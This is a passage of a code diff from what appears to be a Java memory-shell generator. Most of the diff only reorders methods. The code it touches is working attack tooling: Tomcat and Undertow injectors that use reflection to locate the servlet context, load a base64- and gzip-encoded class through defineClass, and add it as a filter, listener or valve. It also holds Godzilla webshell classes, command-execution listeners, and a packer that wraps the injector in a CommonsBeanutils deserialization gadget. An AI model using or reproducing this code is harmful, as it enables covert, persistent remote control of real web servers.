+            } catch (Throwable e1) {
+                e1.printStackTrace();
+            }
+        }
+        return listener;
+    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java

@@ -12,13 +12,6 @@ import java.io.ObjectOutputStream;
  * @since 2024/12/10
  */
 public class DeserializePacker implements Packer {
-    @Override
-    @SneakyThrows
-    public byte[] pack(GenerateResult generateResult) {
-        Object payload = CommonsBeanutils19.getPayload(generateResult.getInjectorBytes());
-        return serialize(payload);
-    }
-
     @SneakyThrows
     public static byte[] serialize(Object obj) {
         ByteArrayOutputStream baos = new ByteArrayOutputStream();
@@ -28,4 +21,11 @@ public class DeserializePacker implements Packer {
         oos.close();
         return baos.toByteArray();
     }
+
+    @Override
+    @SneakyThrows
+    public byte[] pack(GenerateResult generateResult) {
+        Object payload = CommonsBeanutils19.getPayload(generateResult.getInjectorBytes());
+        return serialize(payload);
+    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java

@@ -17,6 +17,26 @@ public class CommandListener implements ServletRequestListener {
     public CommandListener() {
     }
 
+    @SuppressWarnings("all")
+    public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+
     @Override
     public void requestDestroyed(ServletRequestEvent sre) {
 
@@ -51,24 +71,4 @@ public class CommandListener implements ServletRequestListener {
         }
         return response;
     }
-
-    @SuppressWarnings("all")
-    public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java

@@ -13,9 +13,9 @@ import java.io.InputStream;
  * @author ReaJason
  */
 public class CommandValve implements Valve {
+    public String paramName = "{{paramName}}";
     protected Valve next;
     protected boolean asyncSupported;
-    public String paramName = "{{paramName}}";
 
     public CommandValve() {
     }

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java

@@ -26,6 +26,44 @@ public class GodzillaFilter extends ClassLoader implements Filter {
         super(z);
     }
 
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        String value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object encoder = base64.newInstance();
+                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
     @SuppressWarnings("all")
     public Class<?> Q(byte[] cb) {
         return super.defineClass(cb, 0, cb.length);
@@ -86,42 +124,4 @@ public class GodzillaFilter extends ClassLoader implements Filter {
     @Override
     public void destroy() {
     }
-
-    @SuppressWarnings("all")
-    public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-        } catch (Exception var6) {
-            try {
-                base64 = Class.forName("sun.misc.BASE64Encoder");
-                Object encoder = base64.newInstance();
-                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            } catch (Exception ignored) {
-            }
-        }
-        return value;
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) {
-        byte[] value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            try {
-                base64 = Class.forName("sun.misc.BASE64Decoder");
-                Object decoder = base64.newInstance();
-                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            } catch (Exception ignored) {
-            }
-        }
-        return value;
-    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java

@@ -15,13 +15,13 @@ import java.io.IOException;
  * @author ReaJason
  */
 public class GodzillaValve extends ClassLoader implements Valve {
-    protected Valve next;
-    protected boolean asyncSupported;
     public String key = "{{key}}";
     public String pass = "{{pass}}";
     public String md5 = "{{md5}}";
     public String headerName = "{{headerName}}";
     public String headerValue = "{{headerValue}}";
+    protected Valve next;
+    protected boolean asyncSupported;
 
     public GodzillaValve() {
     }
@@ -30,6 +30,44 @@ public class GodzillaValve extends ClassLoader implements Valve {
         super(z);
     }
 
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) {
+        String value = null;
+        Class base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
+            value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object Encoder = base64.newInstance();
+                value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
+            } catch (Exception var5) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception var5) {
+            }
+        }
+        return value;
+    }
+
     @SuppressWarnings("all")
     public Class Q(byte[] cb) {
         return super.defineClass(cb, 0, cb.length);
@@ -96,42 +134,4 @@ public class GodzillaValve extends ClassLoader implements Valve {
         }
 
     }
-
-    @SuppressWarnings("all")
-    public static String base64Encode(byte[] bs) {
-        String value = null;
-        Class base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
-            value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
-        } catch (Exception var6) {
-            try {
-                base64 = Class.forName("sun.misc.BASE64Encoder");
-                Object Encoder = base64.newInstance();
-                value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
-            } catch (Exception var5) {
-            }
-        }
-        return value;
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) {
-        byte[] value = null;
-        Class base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            try {
-                base64 = Class.forName("sun.misc.BASE64Decoder");
-                Object decoder = base64.newInstance();
-                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            } catch (Exception var5) {
-            }
-        }
-        return value;
-    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java

@@ -36,18 +36,6 @@ public class TomcatFilterInjector {
         }
     }
 
-    public String getUrlPattern() {
-        return "{{urlPattern}}";
-    }
-
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() {
-        return "{{base64Str}}";
-    }
-
     static byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;
         try {
@@ -72,26 +60,6 @@ public class TomcatFilterInjector {
         return out.toByteArray();
     }
 
-    @SuppressWarnings("all")
-    public Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
-
     public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
         return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
     }
@@ -138,6 +106,38 @@ public class TomcatFilterInjector {
         }
     }
 
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    @SuppressWarnings("all")
+    public Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+
     public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
         List<Object> contexts = new ArrayList<Object>();
         Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java

@@ -17,18 +17,11 @@ import java.util.zip.GZIPInputStream;
  * 测试版本：
  * jdk    v1.8.0_275
  * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
+ *
  * @author pen4uin, ReaJason
  */
 public class TomcatListenerInjector {
 
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() {
-        return "{{base64Str}}";
-    }
-
     static {
         new TomcatListenerInjector();
     }
@@ -44,6 +37,116 @@ public class TomcatListenerInjector {
         }
     }
 
+    @SuppressWarnings("all")
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    @SuppressWarnings("all")
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        try {
+            Field field = getF(obj, fieldName);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (Exception e) {
+            return null;
+        }
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.set(obj, value);
+    }
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    @SuppressWarnings("all")
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
     @SuppressWarnings("all")
     public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
         List<Object> contexts = new ArrayList<Object>();
@@ -123,7 +226,7 @@ public class TomcatListenerInjector {
                 }
             } else if (getFV(context, "applicationEventListenersList") != null) {
                 List<Object> appListeners = (List<Object>) getFV(context, "applicationEventListenersList");
-                if(appListeners != null) {
+                if (appListeners != null) {
                     appListeners.add(listener);
                 }
             }
@@ -142,106 +245,4 @@ public class TomcatListenerInjector {
         }
         return false;
     }
-
-    @SuppressWarnings("all")
-    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
-        Class<?> decoderClass;
-        try {
-            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-        } catch (Exception ignored) {
-            decoderClass = Class.forName("java.util.Base64");
-            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
-            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
-        ByteArrayOutputStream out = new ByteArrayOutputStream();
-        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
-        GZIPInputStream ungzip = new GZIPInputStream(in);
-        byte[] buffer = new byte[256];
-        int n;
-        while ((n = ungzip.read(buffer)) >= 0) {
-            out.write(buffer, 0, n);
-        }
-        return out.toByteArray();
-    }
-
-    @SuppressWarnings("all")
-    static Object getFV(Object obj, String fieldName) throws Exception {
-        try{
-            Field field = getF(obj, fieldName);
-            field.setAccessible(true);
-            return field.get(obj);
-        } catch (Exception e){
-            return null;
-        }
-    }
-
-    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
-        Class<?> clazz = obj.getClass();
-        while (clazz != null) {
-            try {
-                Field field = clazz.getDeclaredField(fieldName);
-                field.setAccessible(true);
-                return field;
-            } catch (NoSuchFieldException e) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        throw new NoSuchFieldException(fieldName);
-    }
-
-    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
-        Field field = getF(obj, fieldName);
-        field.set(obj, value);
-    }
-
-    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
-        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
-    }
-
-    @SuppressWarnings("all")
-    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
-        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
-        Method method = null;
-        Class tempClass = clazz;
-        while (method == null && tempClass != null) {
-            try {
-                if (paramClazz == null) {
-                    // Get all declared methods of the class
-                    Method[] methods = tempClass.getDeclaredMethods();
-                    for (int i = 0; i < methods.length; i++) {
-                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
-                            method = methods[i];
-                            break;
-                        }
-                    }
-                } else {
-                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
-                }
-            } catch (NoSuchMethodException e) {
-                tempClass = tempClass.getSuperclass();
-            }
-        }
-        if (method == null) {
-            throw new NoSuchMethodException(methodName);
-        }
-        method.setAccessible(true);
-        if (obj instanceof Class) {
-            try {
-                return method.invoke(null, param);
-            } catch (IllegalAccessException e) {
-                throw new RuntimeException(e.getMessage());
-            }
-        } else {
-            try {
-                return method.invoke(obj, param);
-            } catch (IllegalAccessException e) {
-                throw new RuntimeException(e.getMessage());
-            }
-        }
-    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java

@@ -22,14 +22,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class TomcatValveInjector {
 
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() {
-        return "{{base64Str}}";
-    }
-
     static {
         new TomcatValveInjector();
     }
@@ -50,71 +42,6 @@ public class TomcatValveInjector {
         }
     }
 
-    @SuppressWarnings("all")
-    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
-        List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
-        Object context = null;
-        try {
-            for (Thread thread : threads) {
-                // 适配 v5/v6/7/8
-                if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
-                    HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
-                    // 原: map.get("localhost")
-                    // 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
-                    for (Object key : childrenMap.keySet()) {
-                        HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
-                        // 原: context = children.get("");
-                        // 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
-                        for (Object key1 : children.keySet()) {
-                            context = children.get(key1);
-                            if (context != null && context.getClass().getName().contains("StandardContext")) {
-                                contexts.add(context);
-                            }
-                            // 兼容 spring boot 2.x embedded tomcat
-                            if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
-                                contexts.add(context);
-                            }
-                        }
-                    }
-                }
-                // 适配 tomcat v9
-                else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-                    context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
-                    if (context != null && context.getClass().getName().contains("StandardContext")) {
-                        contexts.add(context);
-                    }
-                    if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
-                        contexts.add(context);
-                    }
-                }
-            }
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        }
-        return contexts;
-    }
-
-    @SuppressWarnings("all")
-    private Object getValve(Object context) {
-        Object valve = null;
-        ClassLoader classLoader = context.getClass().getClassLoader();
-        try {
-            valve = classLoader.loadClass(getClassName()).newInstance();
-        } catch (Exception e) {
-            try {
-                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
-                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
-                defineClass.setAccessible(true);
-                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-                valve = clazz.newInstance();
-            } catch (Exception e2) {
-                e2.printStackTrace();
-            }
-        }
-        return valve;
-    }
-
     @SuppressWarnings("all")
     static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
         Class<?> decoderClass;
@@ -141,37 +68,6 @@ public class TomcatValveInjector {
         return out.toByteArray();
     }
 
-
-    @SuppressWarnings("all")
-    public boolean isInjected(Object context, String valveClassName) throws Exception {
-        Object obj = invokeMethod(context, "getPipeline");
-        Object[] valves = (Object[]) invokeMethod(obj, "getValves");
-        List<Object> valvesList = Arrays.asList(valves);
-        for (Object valve : valvesList) {
-            if (valve.getClass().getName().contains(valveClassName)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    @SuppressWarnings("all")
-    public void injectValve(Object context, Object valve) throws Exception {
-        if (isInjected(context, valve.getClass().getName())) {
-            System.out.println("valve already injected");
-            return;
-        }
-        try {
-            Class valveClass;
-            String valveClassName = "org.apache.catalina.Valve";
-            valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
-            Object obj = invokeMethod(context, "getPipeline");
-            invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve});
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
-
     @SuppressWarnings("all")
     private static synchronized Object getFV(Object var0, String var1) throws Exception {
         Field var2 = null;
@@ -241,6 +137,109 @@ public class TomcatValveInjector {
         }
     }
 
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    @SuppressWarnings("all")
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        Object context = null;
+        try {
+            for (Thread thread : threads) {
+                // 适配 v5/v6/7/8
+                if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
+                    HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
+                    // 原: map.get("localhost")
+                    // 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
+                    for (Object key : childrenMap.keySet()) {
+                        HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
+                        // 原: context = children.get("");
+                        // 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
+                        for (Object key1 : children.keySet()) {
+                            context = children.get(key1);
+                            if (context != null && context.getClass().getName().contains("StandardContext")) {
+                                contexts.add(context);
+                            }
+                            // 兼容 spring boot 2.x embedded tomcat
+                            if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
+                                contexts.add(context);
+                            }
+                        }
+                    }
+                }
+                // 适配 tomcat v9
+                else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                    context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
+                    if (context != null && context.getClass().getName().contains("StandardContext")) {
+                        contexts.add(context);
+                    }
+                    if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
+                        contexts.add(context);
+                    }
+                }
+            }
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+        return contexts;
+    }
+
+    @SuppressWarnings("all")
+    private Object getValve(Object context) {
+        Object valve = null;
+        ClassLoader classLoader = context.getClass().getClassLoader();
+        try {
+            valve = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                valve = clazz.newInstance();
+            } catch (Exception e2) {
+                e2.printStackTrace();
+            }
+        }
+        return valve;
+    }
+
+    @SuppressWarnings("all")
+    public boolean isInjected(Object context, String valveClassName) throws Exception {
+        Object obj = invokeMethod(context, "getPipeline");
+        Object[] valves = (Object[]) invokeMethod(obj, "getValves");
+        List<Object> valvesList = Arrays.asList(valves);
+        for (Object valve : valvesList) {
+            if (valve.getClass().getName().contains(valveClassName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @SuppressWarnings("all")
+    public void injectValve(Object context, Object valve) throws Exception {
+        if (isInjected(context, valve.getClass().getName())) {
+            System.out.println("valve already injected");
+            return;
+        }
+        try {
+            Class valveClass;
+            String valveClassName = "org.apache.catalina.Valve";
+            valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
+            Object obj = invokeMethod(context, "getPipeline");
+            invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve});
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
     public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
         Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
         ClassLoader catalinaLoader = null;

generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandListener.java

@@ -18,6 +18,26 @@ public class CommandListener implements ServletRequestListener {
     public CommandListener() {
     }
 
+    @SuppressWarnings("all")
+    public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+
     @Override
     public void requestDestroyed(ServletRequestEvent sre) {
 
@@ -55,24 +75,4 @@ public class CommandListener implements ServletRequestListener {
         }
         return response;
     }
-
-    @SuppressWarnings("all")
-    public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaFilter.java

@@ -26,6 +26,44 @@ public class GodzillaFilter extends ClassLoader implements Filter {
         super(z);
     }
 
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        String value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object encoder = base64.newInstance();
+                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
     @SuppressWarnings("all")
     public Class<?> Q(byte[] cb) {
         return super.defineClass(cb, 0, cb.length);
@@ -86,42 +124,4 @@ public class GodzillaFilter extends ClassLoader implements Filter {
     @Override
     public void destroy() {
     }
-
-    @SuppressWarnings("all")
-    public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-        } catch (Exception var6) {
-            try {
